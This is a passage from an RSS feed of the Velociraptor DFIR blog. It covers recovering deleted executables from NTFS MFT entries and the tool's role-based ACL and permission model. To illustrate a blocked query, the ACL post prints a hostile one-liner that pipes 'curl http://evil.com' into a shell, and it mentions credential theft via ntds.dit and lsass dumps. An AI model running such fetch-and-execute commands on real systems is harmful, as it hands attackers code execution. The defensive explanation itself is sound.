src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0OzrfX5m7eKMFw5xQ&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;**Figure 10 **shows a sample of this output. We can see details like the &lt;strong&gt;FILE_NAME&lt;/strong&gt; timestamps, as well as the &lt;strong&gt;STANDARD_INFORMATION&lt;/strong&gt; stream timestamps (useful for detecting time stomping).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0hLC9MjRTfcS3MmyZ&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;While the &lt;strong&gt;Windows.NTFS.MFT&lt;/strong&gt; artifact dumps all MFT entries from the endpoint, we can make this more surgical and specifically search for deleted executables. To do this we would need to modify the VQL query to add an additional filter.&lt;/p&gt;&#xA;&lt;p&gt;Modifying or customizing an artifact is easy to do through the GUI. Simply search for the artifact in the “&lt;strong&gt;View Artifacts&lt;/strong&gt;” screen, and then click the &lt;strong&gt;“Modify Artifact”&lt;/strong&gt; button to bring up an editor allowing the YAML to be directly edited (Note that all customized artifacts, automatically receive the prefix “&lt;strong&gt;Custom&lt;/strong&gt;” in their name setting them apart from curated artifacts).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0lVGMD5SpsDzt9beg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the figure above we added the condition &lt;strong&gt;“WHERE FileName =~ ‘.exe$’ AND NOT InUse”&lt;/strong&gt; to restrict output only to deleted executables. We now select this customized version and collect it on the endpoint as before. Since we have filtered only those executables which are deleted in this query, the result set is much smaller and somewhat quicker to calculate. &lt;strong&gt;Figure 11&lt;/strong&gt; below shows a single binary was found on our test system still recoverable in unused MFT entry.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0PVnSNZXUSeVkdoLy&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Figure 11&lt;/strong&gt; shows an MFT entry for a binary that had been removed from disk. If we are lucky we can attempt to recover the deleted file using the **Windows.NTFS.Recover **artifact. This artifact simply dumps out all the attribute streams from the specified MFT entry (including the &lt;strong&gt;$DATA&lt;/strong&gt; attribute) and uploads them to the server. &lt;strong&gt;Figure 12&lt;/strong&gt; below shows how we can select to collect this artifact, and specify the MFT entry reported in the previous collection as a parameter to the artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0lhzQN2pP4LOM-rqD&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-04-16-velociraptor-e48a47e0317d/../../img/0CcdK7p9p5vWog0ms&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Figure 13&lt;/strong&gt; shows the output from the **Windows.NTFS.Recover **artifact, showing the **$DATA **stream was correctly recovered as verified by its hash.&lt;/p&gt;&#xA;&lt;p&gt;The previous example demonstrates how having advanced forensic analysis capabilities is valuable during endpoint monitoring. The example of a drive by download required us confirming if a particular executable is present on any of our endpoints. We started off by performing a simple filename search for executables. But realizing this will only yield currently existing files, we move onto deep level NTFS analysis dumping all MFT entry information. We then modified the VQL query to restrict the output to only the subset of results of interest in our case.&lt;/p&gt;&#xA;&lt;p&gt;This modified query can now run as a hunt on the entire fleet to determine which executables have recently been deleted anywhere, which would confirm if the malware was run on other machines we are not aware of. We can then potentially use NTFS recovery techniques to recover the binary for further analysis. Without the flexibility of the powerful Velociraptor Query Language it would be difficult to adapt to such a fluid and rapidly developing incident.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor includes many other low level analysis modules, such as parsing prefetch files, raw registry access (for &lt;a href=&#34;https://www.andreafortuna.org/2017/10/16/amcache-and-shimcache-in-forensic-analysis/&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;AMCache&lt;/code&gt; &lt;/a&gt;analysis), &lt;a href=&#34;https://en.wikipedia.org/wiki/Extensible_Storage_Engine&#34; target=&#34;_blank&#34; &gt;ESE database&lt;/a&gt; parser (facilitating &lt;a href=&#34;https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1492184583.pdf&#34; target=&#34;_blank&#34; &gt;SRUM database forensics&lt;/a&gt; and Internet Explorer history analysis), &lt;a href=&#34;https://www.sqlite.org/&#34; target=&#34;_blank&#34; &gt;SQLite&lt;/a&gt; parsers (for Chrome and Firefox history) and much more.&lt;/p&gt;&#xA;&lt;p&gt;The true power of Velociraptor is in combining these low level modules with other VQL queries to further enrich the output or narrow down queries making them more surgical and reducing the amount of false positives. This more targeted approach is critical when hunting at scale in order to reduce the amount of data collected and assist the operator in focusing on the truly important evidence quickly and efficiently.&lt;/p&gt;&#xA;&lt;p&gt;The type of analysis performed is driven by a flexible VQL query, written into an artifact by the user. This unprecedented level of flexibility and scale in a forensic tool allows for flexible and novel response and collection. It is really only limited by the imagination of the user.&lt;/p&gt;&#xA;&lt;p&gt;We opened this article by imagining a world where experienced forensic practitioners could transfer and encode their knowledge and experience into actionable artifacts. Velociraptor’s artifacts help to bring this vision to life — allowing experienced users to encode their workflow in VQL artifacts opens these techniques up to be used by other practitioners in a more consistent and automated fashion. We hope to inspire a vibrant community of VQL Artifact authors to facilitate exchange of experience, techniques and approaches between practitioners and researchers alike.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is available under an open source license on &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt;. You can download the latest Velociraptor release and use it immediately, or clone the source repository and contribute to the project. You can also contribute VQL snippets or artifacts directly to the project in order to share commonly used artifacts with the larger community.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34;tip&#34;&gt;&lt;p&gt;About the author: Mike Cohen is a digital forensic researcher and senior software engineer. He has supported leading open-source DFIR projects including as a core developer of Volatility and lead developer of both Rekall and Google’s Grr Rapid Response. Mike has founded Velocidex in 2018 after working at Google for the previous 8 years in developing cutting edge DFIR tools. Velocidex is the company behind the Velociraptor open source endpoint visibility tool.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor’s ACL model</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/</link>
      <pubDate>Sun, 29 Mar 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/</guid>
      <description>&lt;p&gt;Velociraptor is a very powerful tool with a great deal of privileged access to many endpoints. Velociraptor clients typically run with System or root level access on endpoints, in order to have low level access to the operating system. It follows that administrators on Velociraptor also have privileged access to the entire domain as well — they are equivalent to domain administrators.&lt;/p&gt;&#xA;&lt;p&gt;For small trusted teams of investigators this is probably fine, however as Velociraptor is being more widely deployed in enterprise environments it has become clear that we needed a more elaborate role based ACL model.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-are-the-threats&#34;&gt;What are the threats?&lt;/h2&gt;&#xA;&lt;p&gt;Thinking of the different ways Velociraptor may be abused can shed some light on what we are trying to protect and how to protect it. Suppose a malicious actor was able to compromise an account belonging to one of the Velociraptor deployment admins. What damage could they do?&lt;/p&gt;&#xA;&lt;h3 id=&#34;viewing-collected-data&#34;&gt;Viewing collected data&lt;/h3&gt;&#xA;&lt;p&gt;A malicious Velociraptor user can look at existing collected data, which might contain PII or security sensitive information. For example they might be able to inspect process execution log from any machine and determine further targets on the network.&lt;/p&gt;&#xA;&lt;h3 id=&#34;collecting-additional-information-from-endpoints&#34;&gt;Collecting additional information from endpoints&lt;/h3&gt;&#xA;&lt;p&gt;The next level of threat is actual collection of new information. Some forensic information is very sensitive, and adversaries may actively collect it (for example copy out &lt;strong&gt;ntds.dit&lt;/strong&gt; for &lt;a href=&#34;https://attack.mitre.org/techniques/T1003/&#34; target=&#34;_blank&#34; &gt;offline cracking&lt;/a&gt; or dump out &lt;strong&gt;lsass&lt;/strong&gt; memory for offline &lt;a href=&#34;https://www.onlinehashcrack.com/how-to-procdump-mimikatz-credentials.php&#34; target=&#34;_blank&#34; &gt;credential recovery&lt;/a&gt;). A legitimate investigator would rarely need to perform these actions, but collecting files and dumping memory are normal routine forensic artifacts that are typically collected in the course of an investigation.&lt;/p&gt;&#xA;&lt;p&gt;Clearly being able to misuse these artifact collections is a significant threat.&lt;/p&gt;&#xA;&lt;h3 id=&#34;writing-new-artifacts&#34;&gt;Writing new artifacts&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor’s unique power lies in its flexible query language (VQL). Being able to write new VQL allows adversaries to run arbitrary code on the endpoint. New VQL can invoke the execve() VQL plugin which shells out with arbitrary command line arguments.&lt;/p&gt;&#xA;&lt;p&gt;While is it convenient and even required to allow the Velociraptor endpoint to invoke the shell with arbitrary arguments, in the wrong hand it clearly represents a significant risk.&lt;/p&gt;&#xA;&lt;h3 id=&#34;running-vql-on-the-server&#34;&gt;Running VQL on the server&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor’s flexibility also allows for running arbitrary VQL queries on the server itself. This is useful for both managing the server (for example adding labels to clients) as well as post processing results from previous collections (For example by running VQL queries in the notebook cells to further filter collected artifacts).&lt;/p&gt;&#xA;&lt;p&gt;While server side VQL is extremely useful, in the wrong hands it can result in complete server compromise. Since VQL can invoke the execve() plugin, being able to run server side VQL is equivalent to server shell access.&lt;/p&gt;&#xA;&lt;h2 id=&#34;role-based-access-control-rbac&#34;&gt;Role based access control (RBAC)&lt;/h2&gt;&#xA;&lt;p&gt;Thinking about the threats in the previous section helped us get an understanding of how roles can help mitigate these risks. What do we mean by role based ACLs? We would like to assign users different roles, which control the type of activity they do. In this way, we can limit the amount of damage each user can do and reduce the number of powerful user accounts.&lt;/p&gt;&#xA;&lt;p&gt;For example, we can come up with the following roles:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;reader&lt;/strong&gt;: This role provides the ability to read previously collected results but does not allow the user to actually make any changes. Sometimes we give customer sysadmins this role to allow them to see what we are doing on their network, but without allowing them to actually collect any data.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;analyst&lt;/strong&gt;: The next level up is an analyst — they are able to read existing collected data and also run some server side VQL in order to do post processing of this data or annotate it. Analysts typically use the notebook or download collected data offline for post processing existing hunt data. Analysts may not actually start new collections or hunts themselves.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;investigator&lt;/strong&gt;: The investigator role is the same as the analyst but can actually initiate new hunts or flow collections.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;artifact_writer&lt;/strong&gt;: This role allows a user to create or modify new client side artifacts (They are not able to modify server side artifacts). This user typically has sufficient understanding and training in VQL to write flexible artifacts. Artifact writers are very powerful as they can easily write a malicious artifact and collect it on the endpoint. Therefore they are equivalent to domain admins on endpoints. You should restrict this role to very few people.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;administrator&lt;/strong&gt;: Like any system, Velociraptor needs an administrator which is all powerful. This account can run arbitrary VQL on the server, reconfigure the server etc. Hopefully, the need for a user to have administrator level access is greatly reduced by the RBAC system.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;permissions&#34;&gt;Permissions&lt;/h2&gt;&#xA;&lt;p&gt;In the previous section we saw how roles can be assigned to users to create a reasonable division of work and limit the power of each user to their prescribed role. How are these actually implemented in Velociraptor though?&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor’s flexibility makes direct implementation of an RBAC challenging. Since Velociraptor is really just a VQL engine, it does different things depending on the query issued. For example, this server side query examines the results of a hunt:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; SELECT * FROM hunt_results(hunt_id=”H.1234&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is a perfectly valid post processing query and should be allowed, even inside the notebook, by any analyst.&lt;/p&gt;&#xA;&lt;p&gt;However the query&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; SELECT * FROM execve(argv=[“bash”, “-c”, “curl http://evil.com | sh”])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is clearly a malicious query and should be blocked from the notebook (It can result in server compromise).&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor solves this by introducing a permission system. Each VQL plugin requires the caller to possess a particular permission. For example, the execve() plugin required the EXECVE permission (i.e. being allowed to run arbitrary shell commands). If the user does not have the permission, the plugin fails with an error.&lt;/p&gt;&#xA;&lt;p&gt;Let’s look at this example more closely. I will create a user called “analystbob” and assign them the &lt;strong&gt;analyst&lt;/strong&gt; role:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1KzOsl3TZ2oztzDQF-c4APw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Bob is allowed to view and edit notebooks using the GUI since Bob is an analyst. Let’s see Bob creating a new notebook&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1Dri1UPuqRLnhmadSP5f-jQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Bob can even issue VQL queries for post processing and filtering of collected data. However, what happens if they try to issue the malicious VQL above within a VQL notebook cell?&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1qOUD4kX7OGj9rlrM84y21A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1AkJUHE0jH9m5ckmwxkG2aQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Bob’s query returned no rows since the execve() plugin refused to run without the EXECVE permission, which Bob lacks.&lt;/p&gt;&#xA;&lt;p&gt;Let’s see Bob browsing the Virtual Filesystem of an endpoint&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1QkdlX3Ubyb_eQhvDLnko5Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The rest of the GUI does not allow Bob to actually collect any new data — for example the VFS view does not allow collecting new directory listing or new files (but Bob can still navigate already collected directories).&lt;/p&gt;&#xA;&lt;p&gt;If Bob wants to collect new artifacts or perform new hunts, he will need to ask &lt;strong&gt;investigatoralice&lt;/strong&gt; who has the &lt;strong&gt;investigator&lt;/strong&gt; role to actually collect those. Similarly, if Bob wants to modify or implement a new artifact they will need to ask the user &lt;strong&gt;sue&lt;/strong&gt; who has the &lt;strong&gt;artifact_writer&lt;/strong&gt; role to be able to add the artifacts for him (Once the artifact is added, Alice can now collect it — she just can’t add it herself).&lt;/p&gt;&#xA;&lt;h3 id=&#34;artifact-permissions&#34;&gt;Artifact permissions&lt;/h3&gt;&#xA;&lt;p&gt;Some artifacts are more sensitive than others. For example, the &lt;strong&gt;Windows.System.CmdShell&lt;/strong&gt; artifact implements the interactive shell feature. It allows arbitrary commands to be executed by the command shell on the endpoint — a very powerful artifact indeed.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1lX2toda0AOVf7VOrPkW_2w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If we allowed an investigator role to run this artifact, they could easily escalate to System level access on the endpoint. Therefore we really should be limiting the permissions of users that are allowed to run this specific artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1L4zxgkz0Mh4OevcR70ppBg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The artifact definition itself specifies that this artifact requires the EXECVE permission. Let’s see what happens when &lt;strong&gt;investigatoralice&lt;/strong&gt; attempt to collect that artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1zDpPBEoNCb34H9Vql8dEBQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1RcGR69bUlWh58Vf8L23W_w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor refuses to schedule this artifact collection since alice does not have the execve permission (This is only available to administrators). Therefore only administrators can issue arbitrary commands on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Lets have a look at the available permissions (Permissions might evolve over time, but these are the defined permissions at this time)&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1pbqvWfXG2Gtg-cBuWGYqVw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;https://github.com/Velocidex/velociraptor/blob/master/acls/proto/acl.proto&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    https://github.com/Velocidex/velociraptor/blob/master/acls/proto/acl.proto&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;&lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/master/acls/proto/acl.proto#L9&#34; target=&#34;_blank&#34; &gt;https://github.com/Velocidex/velociraptor/blob/master/acls/proto/acl.proto&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;api-clients&#34;&gt;API Clients&lt;/h2&gt;&#xA;&lt;p&gt;We have previously shown how Velociraptor can be accessed through the API. The Velociraptor API is very simple — it simply offers a single gRPC method called &lt;strong&gt;Query&lt;/strong&gt; which allows clients to run arbitrary VQL queries on the server.&lt;/p&gt;&#xA;&lt;p&gt;Previously there was no access controls on the VQL issue by the API client, so an API client could run any VQL queries. Typically API clients are used to automate post processing of hunts and flows and so they rarely need more sophisticated permissions.&lt;/p&gt;&#xA;&lt;p&gt;It is now possible (even required) to limit the access of API clients by assigning them specific permissions depending on the queries they typically need to run.&lt;/p&gt;&#xA;&lt;p&gt;For example, suppose I have a python program which watches for server events so it can post process them. The program will run the query&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM watch_monitoring(artifact=’System.Flow.Completion’)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This program only needs the following permissions&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;strong&gt;any_query&lt;/strong&gt; permission is required to issue any VQL queries&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;strong&gt;collect_server&lt;/strong&gt; permission is required to collect any information from the server itself (i.e. about server state).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;strong&gt;read_results&lt;/strong&gt; permission is required to see any endpoint data already collected&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;First I will create an API config file for this program, then grant the API client the minimum required permissions.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;velociraptor config api_client api_config.yaml --name PythonPostProcess&#xA;velociraptor acl grant PythonPostProcess ‘{“any_query”:true,”collect_server”:true,”read_results”:true}’&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note the &lt;strong&gt;acl grant&lt;/strong&gt; command grants an ACL policy object to the specific username or API keys name. The policy object is simply a JSON encoded object with the required permission set to true.&lt;/p&gt;&#xA;&lt;p&gt;We can now use the &lt;a href=&#34;https://github.com/Velocidex/pyvelociraptor&#34; target=&#34;_blank&#34; &gt;pyvelociraptor&lt;/a&gt; Python program to connect to the API and run the query.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/155h1dEafVJ9hnG7gdgF3hQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Imagine if this API key was compromised and the attackers attempted to run the shell command on the server through the API. The server logs show the API call being made and then immediately a permission denied due to EXECVE permission missing. The power of the key is limited by the restricted permissions.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-29-velociraptors-acl-model-7f497575daee/../../img/1G6ut8fEGCu3AfbxaiMHYVg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor role based access controls allows for greater division of labor within the Velociraptor DFIR team. The roles limit the level of damage that can be done with a user account compromise.&lt;/p&gt;&#xA;&lt;p&gt;However, we must remember still that Velociraptor is still a very privileged program with a lot of access. It is inherently difficult to predict how privilege can be escalated — after all Velociraptor collects highly sensitive forensic artifacts whose disclosure can sometime result in PII or security incidents. It is still a good idea to limit access to the Velociraptor GUI to the minimum number of people that need it, and ensure the entire team is trained at how to wield Velociraptor effectively.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor notebooks</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/</link>
      <pubDate>Sat, 28 Mar 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/</guid>
